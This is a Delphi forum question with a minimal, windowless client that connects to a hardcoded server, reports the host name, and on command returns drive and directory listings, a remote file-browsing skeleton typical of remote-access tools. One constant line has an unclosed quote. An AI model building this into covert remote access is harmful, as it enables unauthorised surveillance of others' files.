盒子论坛 v2.1

program MiniPE;
uses
  Windows,IdTCPClient,Classes,SysUtils{,Dialogs};//引用Dialogs就没事了
const SerVer='1.0;
type TTClient=class(TThread){接收线程类}
          private TStr:string;
          procedure Input;
          public constructor Create;
          destructor Destroy;override;
          protected procedure Execute;override;
          end;
type TMyClass = class
     public
     procedure Dised(Sender:TObject);
     procedure Coned(Sender: TObject);
end;
var
  MSG:TMSG;
  TCPC:TIdTCPClient;
  TClient:TTClient;
  Ded:TNotifyEvent;
  Ced:TNotifyEvent;
  TX:TMyClass;
//----------
constructor TTClient.Create;
begin{創建線程}
   inherited Create(True);
   FreeOnTerminate:=True;
   Suspended:=False;
end;
//----------
destructor TTClient.Destroy;
begin{關閉線程}
  inherited Destroy;
end;
//----------
procedure StartSer(Ip:string;Port:Integer);
begin
  TClient:=TTClient.Create;
  try
    TCPC.Host:=Ip;
    TCPC.Port:=Port;
    if not TCPC.Connected then TCPC.Connect;
  except
    TCPC.Disconnect;{断开连接}
  end;
end;
//----------
function XFileDate(Fd:_FileTime):TDateTime; { 转换文件的时间格式 }
var
  Tct:_SystemTime;
  Temp:_FileTime;
begin
  FileTimeToLocalFileTime(Fd,Temp);
  FileTimeToSystemTime(Temp,Tct);
  XFileDate:=SystemTimeToDateTime(Tct);
end;
Function GetDirList(Path:string):string;{枚举目录下所有的文件夹的文件}
var
FS:TSearchRec;
F,D:string;
begin
try
if(FindFirst(Path+'*.*',faAnyFile,FS)=0)then{检查所有文件}
  begin
    try
       repeat
         if (FS.Name <>'.')and(FS.Name <>'..') then
          begin
          if (FS.Attr and faDirectory)=faDirectory then begin {文件}
          F:=F+FS.Name+'?'+IntToStr(Fs.Size)+'?'+{文件大小}
          FormatDateTime('yyyy/mm/dd hh:mm:ss',XFileDate(FS.FindData.ftCreationTime))+'?'+{文件创建时间}
          FormatDateTime('yyyy/mm/dd hh:mm:ss',XFileDate(FS.FindData.ftLastWriteTime))+',';{文件修改时间}
          end
          else begin
          D:=D+FS.Name+'?'+IntToStr(Fs.Size)+'?'+{文件夹大小}
          FormatDateTime('yyyy/mm/dd hh:mm:ss',XFileDate(FS.FindData.ftCreationTime))+'?'+{创建时间}
          FormatDateTime('yyyy/mm/dd hh:mm:ss',XFileDate(FS.FindData.ftLastWriteTime))+',';{修改时间}
          end;
          end;
       until FindNext(FS)<>0;
    finally
      FindClose(FS);
      Result:= F+'\'+D;
    end;
  end;
except
end;
if Length(F+'\'+D)<2 then Result:='';
end;
//----------
Function SplitString(const source,ch:string):Tstringlist;//分割字串符
var
temp:string;
i:integer;
begin
result:=TStringList.Create;
temp:=source;
i:=pos(ch,source);
while i<>0 do
begin
   result.Add(copy(temp,0,i-1));
   delete(temp,1,i);
   i:=pos(ch,temp);
end;
result.Add(temp);
end;
//----------
procedure SendTCPCmd(Cmd,TempStr:String);//发送命令
var
  MyS:TMemoryStream;
  i:integer;
begin
with TCPC do
    begin
    Try
       if not Connected then exit;{无连接则退出子程式}
       MyS:=TMemoryStream.Create;{建立流}
       Writeln(Cmd);{发送命令}
       MyS.Write(TempStr[1],Length(TempStr));{命令内容写入流}
       MyS.Position:=0;{流指针}
       i:=MyS.size;{流大小}
       WriteInteger(i);{发送流大小}
       WriteStream(MyS);{发送流内容}
     Except
       Disconnect;{断开连接}
     end{try};
       MyS.Free;{释放流}
     end{with};
end;
//----------
Function GetDri(S:String):String;{检查驱动器类型}
var
  Typ:Integer;
begin
  S:=S+':\';
  Typ:=GetDriveType(PChar(S));
If Typ <> 0 then case Typ of
    Drive_CDROM:Result:=S+'(光驱),';
    Drive_Fixed:Result:=S+'(硬盘),';
    Else Result:='';
end;
end;
//----------
Function GetDriList:String;{枚举驱动器}
var
i:Char;
begin
for i:= 'A' to 'Z' do
Result:=Result+GetDri(i);
end;
//----------
procedure TTClient.Input;{接收到数据触发事件}
var
Cmd:TStringList;
Fs:TFileStream;
i:Integer;
S:string;
begin
Cmd:=Splitstring(TStr,',');{格式数组}
case StrToInt(Cmd.Strings[0]) of
000:begin
      SendTCPCmd('001',GetDriList);{发送磁盘列表}
    end;
001:begin
      S:=GetDirList(Cmd.Strings[1]);{目录列表}
      if S='' then SendTCPCmd('003','NoThing')
      else SendTCPCmd('002',S);
    end;
else{不正确的指令}
end;
end;
//----------
procedure TTClient.Execute;{接收到数据}
var
Temp:string;
FS:TMemoryStream;
TheSize:Integer;
begin
if TCPC.Connected then
//if not TClient.Terminated then
     while not TClient.Terminated do
        begin
          try
          Temp:=TCPC.ReadLn();
          TheSize:=StrToInt(Temp);
          if TheSize > 0 then
          try
          FS:=TMemoryStream.Create;{創建內存流}
          TCPC.ReadStream(FS,TheSize,False);{從緩沖區讀出內存流}
          FS.Position:=0;{内存流指針}
          SetLength(TStr,FS.Size);{設置流長度}
          FS.Read(Tstr[1], FS.Size);{讀出流內容到Tstr變量}
          FS.Free;{释放内存流}
          Synchronize(Input);
          except
          end;
          except
          end;
        end;
end;
//----------
procedure TMyClass.Dised(Sender: TObject);
begin{连接断开触发事件}
TClient.Destroy;
end;
//----------
procedure TMyClass.Coned(Sender: TObject);
begin{连接触发事件}
SendTCPCmd('000',TCPC.Socket.LocalName+',XP,'+SerVer);
end;
//----------
begin{程序从这里开始}
  TX:=TMyClass.Create;{创建一个触发事件引用类}
  Ded:=TX.Dised;{关联连接断开触发事件}
  Ced:=TX.Coned;{关联连接触发事件}
  TCPC:=TIdTCPClient.Create(nil);{动态创建一个字套符连接}
  TCPC.OnDisconnected:=Ded;{关联字套符}
  TCPC.OnConnected:=Ced;{关联字套符}
  StartSer('192.168.10.10',6700);
while(GetMessage(Msg,0,0,0))do begin{不让程序退出}
         TranslateMessage(Msg);
         DispatchMessage(Msg);
end;
//----------
end.

以上为Client端代码,由于想减小PE文件体积,只使用了DPR工程文件编程.其中
program MiniPE;
use
  Windows,IdTCPClient,Classes,SysUtils{,Dialogs};//不引用Dialogs是可以编译出程序,但不能接收数据,发送数据没问题(怀疑是未触发事件),引用Dialogs就可以接收到数据,但程序体积超大.
有没有办法可以不引用Dialogs(主要是减小体积),还能接收数据

此帖子包含附件:286922468_200852562420.rar 大小:2,933B

----------------------------------------------
-

信息

登陆以后才能回复